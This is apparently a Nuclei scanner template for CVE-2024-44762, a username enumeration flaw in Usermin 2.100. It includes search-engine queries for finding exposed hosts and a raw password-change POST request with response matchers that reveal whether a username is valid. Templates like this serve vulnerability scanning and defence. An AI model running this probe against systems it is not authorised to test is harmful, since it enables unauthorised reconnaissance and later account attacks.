Usermin 2.100 - Username Enumeration

id: CVE-2024-44762

info:
  name: Usermin 2.100 - Username Enumeration
  author: ritikchaddha
  severity: medium
  description: |
    Usermin version 2.100 and below is susceptible to username enumeration via the password change functionality. An attacker can determine valid usernames by analyzing the response messages from the password change endpoint.
  impact: |
    Attackers can enumerate valid usernames by analyzing password change responses, aiding in further attacks.
  remediation: |
    Upgrade to the latest version of Usermin that addresses this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/52254
    - https://www.webmin.com/usermin.html
    - https://senscybersecurity.nl/cve-2024-44762-explained/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-44762
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2024-44762
    cwe-id: CWE-209
    epss-score: 0.02566
    epss-percentile: 0.85011
  metadata:
    verified: true
    max-request: 1
    vendor: webmin
    product: usermin
    shodan-query: title:"Usermin"
    fofa-query: app="Usermin"
  tags: cve,cve2024,usermin,webmin,exposure,usernames,vuln

http:
  - raw:
      - |
        POST /password_change.cgi HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Referer: {{BaseURL}}/password_change.cgi

        user=admin&pam=&expired=2&old=fakePassword&new1=password&new2=password

    matchers:
      - type: word
        part: body
        words:
          - "Failed to change password: The current password is incorrect"
          - "Your login name was not found in the password file"
        condition: or
# digest: 4a0a0047304502205c335bc55a312577cfc6cee3707fdd8ad267ed0824252e2ea80219d46ddbf047022100fe4af2e29a4770f1185e7db28d555cde45fc8ed38bf4e6de5dd4b02bb92e852a:922c64590222798bb761d5b6d8e72950